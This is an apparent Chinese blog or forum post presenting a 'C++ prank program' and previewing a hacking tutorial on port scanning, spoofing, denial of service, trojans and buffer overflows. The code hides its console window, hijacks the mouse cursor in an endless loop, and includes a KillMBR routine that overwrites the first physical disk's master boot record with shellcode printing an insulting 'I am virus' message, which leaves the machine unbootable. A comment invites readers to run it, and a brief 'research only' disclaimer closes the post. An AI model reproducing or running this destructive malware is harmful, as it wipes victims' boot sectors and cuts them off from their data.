另一篇《不用工具做黑客》写了几万字了。详细讲了端口扫描,网络监听,IP电子欺骗,拒绝服务攻击,特洛伊木马,E-mail炸弹,缓冲区溢出的方法,还短暂介绍了几种类型的特洛伊木马制作教程(远程访问型,密码发送型,键盘记录型,毁坏型)。不过尴尬的是,发不出来,我只能修改并补充。暂时还不能发,只能先发个C++恶搞程序。有问题吗?没有问题。
代码:
#include<iostream>
#include<Windows.h>
#include<string.h>
#include<winioctl.h>
#include<io.h>
#include<bits/stdc++.h>//有几个没用的头文件,可要可不要
using namespace std;
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
for(;;)
{
//system("start cmd");
//for(int i=1;i<=100;i++)
//{
SetCursorPos(rand()%2000,rand()%2000);
//}
}
}
void KillMBR(void);//两个进程,你可以拆开。这是第二个
int main1(void)
{
KillMBR();
}
void KillMBR(void)
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return ;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入好东西,虽然具体不清楚,建议运行查看
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
}//完成
再声明一下啊,仅供研究,不要随便用啊(虽然做了一点处理,但尽量不要用)。
请谨慎使用,如有意外,后果自负(我是傻*)。